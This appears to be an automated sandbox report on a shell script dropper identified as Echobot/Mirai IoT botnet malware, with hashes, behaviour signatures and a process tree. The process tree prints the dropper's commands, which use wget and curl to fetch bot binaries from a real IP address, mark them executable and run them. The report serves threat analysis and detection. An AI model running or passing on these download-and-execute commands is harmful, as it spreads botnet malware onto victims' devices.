Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    25-11-2024 21:36

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    81eee2b1d28af46c8e9190b0c20fce28

  • SHA1

    8025e6d6f83b129d6c7a11a684d5d6f54d160333

  • SHA256

    b86582605641a45410c0811cec9d1d19deb98bb5c4f5cd27caa06949e2ec7e30

  • SHA512

    359baa5371f4f8cbd4c3caf9cb1b02624b22d8cadd63722c2a9db673e73df55f6f75988e988911ee731e3b30b5a1c22207cd9a8aebb933c38bab17f9a1f8df45

Malware Config

Signatures

  • Detected Echobot 2 IoCs
  • Echobot

    An updated variant of Mirai which infects a wide range of IoT devices to form a botnet.

  • Echobot family
  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (175763) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 22 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 11 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 11 IoCs
  • Reads system network configuration 1 TTPs 11 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:726
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:730
    • /usr/bin/wget
      wget http://64.235.37.140/bins/jade.arc
      2⤵
        PID:735
      • /usr/bin/curl
        curl -O http://64.235.37.140/bins/jade.arc
        2⤵
        • Writes file to tmp directory
        PID:754
      • /bin/cat
        cat jade.arc
        2⤵
          PID:755
        • /bin/chmod
          chmod +x busybox Chaotic jade.arc ohshit.sh systemd-private-e61d407d754a4af0ac14a87560048ea9-systemd-timedated.service-QTxo9g
          2⤵
          • File and Directory Permissions Modification
          PID:756
        • /tmp/Chaotic
          ./Chaotic
          2⤵
          • Executes dropped EXE
          PID:757
        • /usr/bin/wget
          wget http://64.235.37.140/bins/jade.x86
          2⤵
          • Writes file to tmp directory
          PID:758
        • /usr/bin/curl
          curl -O http://64.235.37.140/bins/jade.x86
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:759
        • /bin/cat
          cat jade.x86
          2⤵
            PID:760
          • /bin/chmod
            chmod +x busybox Chaotic jade.arc jade.x86 ohshit.sh systemd-private-e61d407d754a4af0ac14a87560048ea9-systemd-timedated.service-QTxo9g
            2⤵
            • File and Directory Permissions Modification
            PID:761
          • /tmp/Chaotic
            ./Chaotic
            2⤵
            • Executes dropped EXE
            PID:762
          • /usr/bin/wget
            wget http://64.235.37.140/bins/jade.x86_64
            2⤵
              PID:764
            • /usr/bin/curl
              curl -O http://64.235.37.140/bins/jade.x86_64
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:765
            • /bin/cat
              cat jade.x86_64
              2⤵
                PID:770
              • /bin/chmod
                chmod +x busybox Chaotic jade.arc jade.x86 jade.x86_64 ohshit.sh systemd-private-e61d407d754a4af0ac14a87560048ea9-systemd-timedated.service-QTxo9g
                2⤵
                • File and Directory Permissions Modification
                PID:772
              • /tmp/Chaotic
                ./Chaotic
                2⤵
                • Executes dropped EXE
                PID:774
              • /usr/bin/wget
                wget http://64.235.37.140/bins/jade.i686
                2⤵
                  PID:775
                • /usr/bin/curl
                  curl -O http://64.235.37.140/bins/jade.i686
                  2⤵
                  • Writes file to tmp directory
                  PID:780
                • /bin/cat
                  cat jade.i686
                  2⤵
                    PID:789
                  • /bin/chmod
                    chmod +x busybox Chaotic jade.arc jade.i686 jade.x86 jade.x86_64 ohshit.sh systemd-private-e61d407d754a4af0ac14a87560048ea9-systemd-timedated.service-QTxo9g
                    2⤵
                    • File and Directory Permissions Modification
                    PID:790
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                    • Executes dropped EXE
                    PID:791
                  • /usr/bin/wget
                    wget http://64.235.37.140/bins/jade.mips
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:794
                  • /usr/bin/curl
                    curl -O http://64.235.37.140/bins/jade.mips
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:801
                  • /bin/cat
                    cat jade.mips
                    2⤵
                    • System Network Configuration Discovery
                    PID:808
                  • /bin/chmod
                    chmod +x busybox Chaotic jade.arc jade.i686 jade.mips jade.x86 jade.x86_64 ohshit.sh systemd-private-e61d407d754a4af0ac14a87560048ea9-systemd-timedated.service-QTxo9g
                    2⤵
                    • File and Directory Permissions Modification
                    PID:810
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                    • Executes dropped EXE
                    • Modifies Watchdog functionality
                    • Enumerates active TCP sockets
                    • Changes its process name
                    • Reads system network configuration
                    • Reads runtime system information
                    PID:811
                  • /usr/bin/wget
                    wget http://64.235.37.140/bins/jade.mips64
                    2⤵
                    • System Network Configuration Discovery
                    PID:817
                  • /usr/bin/curl
                    curl -O http://64.235.37.140/bins/jade.mips64
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:832
                  • /bin/chmod
                    chmod +x busybox Chaotic jade.arc jade.i686 jade.mips jade.mips64 jade.x86 jade.x86_64 ohshit.sh systemd-private-e61d407d754a4af0ac14a87560048ea9-systemd-timedated.service-QTxo9g
                    2⤵
                    • File and Directory Permissions Modification
                    PID:836
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                    • Executes dropped EXE
                    • Modifies Watchdog functionality
                    • Enumerates active TCP sockets
                    • Changes its process name
                    • Reads system network configuration
                    • Reads runtime system information
                    PID:837
                  • /usr/bin/wget
                    wget http://64.235.37.140/bins/jade.mpsl
                    2⤵
                    • Writes file to tmp directory
                    PID:846
                  • /usr/bin/curl
                    curl -O http://64.235.37.140/bins/jade.mpsl
                    2⤵
                    • Writes file to tmp directory
                    PID:853
                  • /bin/chmod
                    chmod +x busybox Chaotic jade.arc jade.i686 jade.mips jade.mips64 jade.mpsl jade.x86 jade.x86_64 ohshit.sh systemd-private-e61d407d754a4af0ac14a87560048ea9-systemd-timedated.service-QTxo9g
                    2⤵
                    • File and Directory Permissions Modification
                    PID:863
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                    • Executes dropped EXE
                    • Modifies Watchdog functionality
                    • Enumerates active TCP sockets
                    • Changes its process name
                    • Reads system network configuration
                    • Reads runtime system information
                    PID:864
                  • /usr/bin/wget
                    wget http://64.235.37.140/bins/jade.arm
                    2⤵
                    • Writes file to tmp directory
                    PID:899
                  • /usr/bin/curl
                    curl -O http://64.235.37.140/bins/jade.arm
                    2⤵
                    • Writes file to tmp directory
                    PID:900
                  • /bin/chmod
                    chmod +x busybox Chaotic jade.arc jade.arm jade.i686 jade.mips jade.mips64 jade.mpsl jade.x86 jade.x86_64 ohshit.sh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:902
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                    • Executes dropped EXE
                    • Modifies Watchdog functionality
                    • Enumerates active TCP sockets
                    • Changes its process name
                    • Reads system network configuration
                    • Reads runtime system information
                    PID:903
                  • /usr/bin/wget
                    wget http://64.235.37.140/bins/jade.arm5
                    2⤵
                    • Writes file to tmp directory
                    PID:907
                  • /usr/bin/curl
                    curl -O http://64.235.37.140/bins/jade.arm5
                    2⤵
                    • Writes file to tmp directory
                    PID:914
                  • /bin/chmod
                    chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.i686 jade.mips jade.mips64 jade.mpsl jade.x86 jade.x86_64 ohshit.sh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:916
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                    • Executes dropped EXE
                    • Modifies Watchdog functionality
                    • Enumerates active TCP sockets
                    • Changes its process name
                    • Reads system network configuration
                    • Reads runtime system information
                    PID:917
                  • /usr/bin/wget
                    wget http://64.235.37.140/bins/jade.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:921
                  • /usr/bin/curl
                    curl -O http://64.235.37.140/bins/jade.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:928
                  • /bin/chmod
                    chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.i686 jade.mips jade.mips64 jade.mpsl jade.x86 jade.x86_64 ohshit.sh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:930
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                    • Executes dropped EXE
                    • Modifies Watchdog functionality
                    • Enumerates active TCP sockets
                    • Changes its process name
                    • Reads system network configuration
                    • Reads runtime system information
                    PID:931
                  • /usr/bin/wget
                    wget http://64.235.37.140/bins/jade.arm7
                    2⤵
                    • Writes file to tmp directory
                    PID:941
                  • /usr/bin/curl
                    curl -O http://64.235.37.140/bins/jade.arm7
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:942
                  • /bin/chmod
                    chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.arm7 jade.i686 jade.mips jade.mips64 jade.mpsl jade.x86 jade.x86_64 ohshit.sh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:944
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                    • Executes dropped EXE
                    • Modifies Watchdog functionality
                    • Enumerates active TCP sockets
                    • Changes its process name
                    • Reads system network configuration
                    • Reads runtime system information
                    PID:945
                  • /usr/bin/wget
                    wget http://64.235.37.140/bins/jade.ppc
                    2⤵
                    • Writes file to tmp directory
                    PID:949
                  • /usr/bin/curl
                    curl -O http://64.235.37.140/bins/jade.ppc
                    2⤵
                    • Writes file to tmp directory
                    PID:956
                  • /bin/chmod
                    chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.arm7 jade.i686 jade.mips jade.mips64 jade.mpsl jade.ppc jade.x86 jade.x86_64 ohshit.sh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:958
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                    • Executes dropped EXE
                    • Modifies Watchdog functionality
                    • Enumerates active TCP sockets
                    • Changes its process name
                    • Reads system network configuration
                    • Reads runtime system information
                    PID:959
                  • /usr/bin/wget
                    wget http://64.235.37.140/bins/jade.sparc
                    2⤵
                      PID:963
                    • /usr/bin/curl
                      curl -O http://64.235.37.140/bins/jade.sparc
                      2⤵
                      • Writes file to tmp directory
                      PID:970
                    • /bin/chmod
                      chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.arm7 jade.i686 jade.mips jade.mips64 jade.mpsl jade.ppc jade.sparc jade.x86 jade.x86_64 ohshit.sh
                      2⤵
                      • File and Directory Permissions Modification
                      PID:972
                    • /tmp/Chaotic
                      ./Chaotic
                      2⤵
                      • Executes dropped EXE
                      • Modifies Watchdog functionality
                      • Enumerates active TCP sockets
                      • Changes its process name
                      • Reads system network configuration
                      • Reads runtime system information
                      PID:973
                    • /usr/bin/wget
                      wget http://64.235.37.140/bins/jade.m68k
                      2⤵
                      • Writes file to tmp directory
                      PID:979
                    • /usr/bin/curl
                      curl -O http://64.235.37.140/bins/jade.m68k
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:984
                    • /bin/chmod
                      chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.arm7 jade.i686 jade.m68k jade.mips jade.mips64 jade.mpsl jade.ppc jade.sparc jade.x86 jade.x86_64 ohshit.sh
                      2⤵
                      • File and Directory Permissions Modification
                      PID:986
                    • /tmp/Chaotic
                      ./Chaotic
                      2⤵
                      • Executes dropped EXE
                      • Modifies Watchdog functionality
                      • Enumerates active TCP sockets
                      • Changes its process name
                      • Reads system network configuration
                      • Reads runtime system information
                      PID:987
                    • /usr/bin/wget
                      wget http://64.235.37.140/bins/jade.sh4
                      2⤵
                      • Writes file to tmp directory
                      PID:991
                    • /usr/bin/curl
                      curl -O http://64.235.37.140/bins/jade.sh4
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:998
                    • /bin/chmod
                      chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.arm7 jade.i686 jade.m68k jade.mips jade.mips64 jade.mpsl jade.ppc jade.sh4 jade.sparc jade.x86 jade.x86_64 ohshit.sh
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1000
                    • /tmp/Chaotic
                      ./Chaotic
                      2⤵
                      • Executes dropped EXE
                      • Modifies Watchdog functionality
                      • Enumerates active TCP sockets
                      • Changes its process name
                      • Reads system network configuration
                      • Reads runtime system information
                      PID:1001

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/Chaotic

                    Filesize

                    68KB

                    MD5

                    60e197919a265617f21c21e25320c549

                    SHA1

                    b06f09b251f855c2e3cadbee08e426be790698cf

                    SHA256

                    bd145676c6767709d39d47eb2bb2fe5051b790db64bf150b233d3f49438346b2

                    SHA512

                    652f8341e27f00272f3ee4164900c5f02e0c7c763b9edc0405107ce2126ce2c700c9318e3ea29a73125d77d4b16b961860a514b0580170d019976fa7765792d1

                  • /tmp/Chaotic

                    Filesize

                    95KB

                    MD5

                    2856dfee64ce9df390f7c08f3faa4511

                    SHA1

                    a39ec395140d9f12df3f3ce77b40380a22bcd336

                    SHA256

                    10cde4e442151ff031996d6cd72f7da0df4ce93f434caed9a21e14ed1e1a60dc

                    SHA512

                    d089fe05d65e225b160306f738588496119d1329c24aba8613b751388f49f8deb0ec45c0ac2a1df40e3208102404d0a029a2c72fd4bef9db6c31080afcee5b3e

                  • /tmp/busybox

                    Filesize

                    857KB

                    MD5

                    a39fe8036e559ce804e26518061e59ff

                    SHA1

                    8df27f6e8a48b762d945ea2f2b87390c80acd4de

                    SHA256

                    3180df117342646dcdc4c436f95b41e15587e2238ec59064b4b06c065d56cf38

                    SHA512

                    e97756f316fceef7360e789362648529eea50eb6f7cc56cf654b3fc43ca61f0e4d9f366ed8fd59b73dd5a49615e935e9f53686d15f9a83c7fa472a70e7196d0d

                  • /tmp/jade.arc

                    Filesize

                    275B

                    MD5

                    cba0261779bc762dcaa59e48bca8c298

                    SHA1

                    f5747b8818b87d36e684c31ee32cae265ae63cd0

                    SHA256

                    52ea3a00ff42e925a9f1862b63765b9ac279abb244f7e43ac010e42c76fcc918

                    SHA512

                    f322ac8ba03308f52db0478080d60f419d2bc195d4eeccee0365fd66d13f99032c491f55ae952dd9685064825f07b5c8c381a68ca3928c22164009861b3da702